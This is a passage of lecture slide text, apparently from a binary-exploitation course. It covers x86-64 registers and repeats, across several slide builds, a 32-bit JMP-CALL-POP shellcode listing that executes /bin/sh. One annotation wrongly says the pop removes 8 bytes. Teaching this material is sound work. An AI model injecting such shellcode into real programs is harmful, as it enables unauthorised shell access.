the next instruction to execute • General Purpose ◦ rax : return value ◦ rbx , rcx , rdx • Stack ◦ rsp: points to the top of the stack frame ◦ rbp: points to the bottom of the stack frame • Data ◦ rsi: index (source) ◦ rdi: index (destination) • Other ◦ r8, r9, r10, ..., r15 0x1122334455667788 ================ rax (64 bits) ======== eax (32 bits) ==== ax (16 bits) == ah (8 bits) == al (8 bits) rax, rbx, rcx, rdx 皆可以此方式存取 0x15 CPU Registers ---
_start] 2 3 _start: 4 jmp ed 5 6 st: 7 pop ebx 8 xor eax, eax 9 add al, 0xb 10 xor ecx, ecx 11 xor edx, edx 12 int 0x80 13 14 ed: 15 call st 16 db "/bin/sh", 0 shell.S By default, the entry point of an ELF is _start JMP-CALL-POP Trick
_start] 2 3 _start: 4 jmp ed 5 6 st: 7 pop ebx 8 xor eax, eax 9 add al, 0xb 10 xor ecx, ecx 11 xor edx, edx 12 int 0x80 13 14 ed: 15 call st 16 db "/bin/sh", 0 By default, the entry point of an ELF is _start Pushes the address of “/bin/sh” onto the stack, and then start executing at `st` JMP-CALL-POP Trick shell.S
_start] 2 3 _start: 4 jmp ed 5 6 st: 7 pop ebx 8 xor eax, eax 9 add al, 0xb 10 xor ecx, ecx 11 xor edx, edx 12 int 0x80 13 14 ed: 15 call st 16 db "/bin/sh", 0 By default, the entry point of an ELF is _start Pushes the address of “/bin/sh” onto the stack, and then start executing at `st` JMP-CALL-POP Trick shell.S
_start] 2 3 _start: 4 jmp ed 5 6 st: 7 pop ebx 8 xor eax, eax 9 add al, 0xb 10 xor ecx, ecx 11 xor edx, edx 12 int 0x80 13 14 ed: 15 call st 16 db "/bin/sh", 0 By default, the entry point of an ELF is _start Pushes the address of “/bin/sh” onto the stack, and then start executing at `st` Pops 8 bytes off the stack into ebx, i.e. ebx = the address of “/bin/sh” JMP-CALL-POP Trick shell.S
_start] 2 3 _start: 4 jmp ed 5 6 st: 7 pop ebx 8 xor eax, eax 9 add al, 0xb 10 xor ecx, ecx 11 xor edx, edx 12 int 0x80 13 14 ed: 15 call st 16 db "/bin/sh", 0 By default, the entry point of an ELF is _start Pushes the address of “/bin/sh” onto the stack, and then start executing at `st` Pops 8 bytes off the stack into ebx, i.e. ebx = the address of “/bin/sh” issue the syscall: sys_execve(“/bin/sh”, 0, 0); JMP-CALL-POP Trick shell.S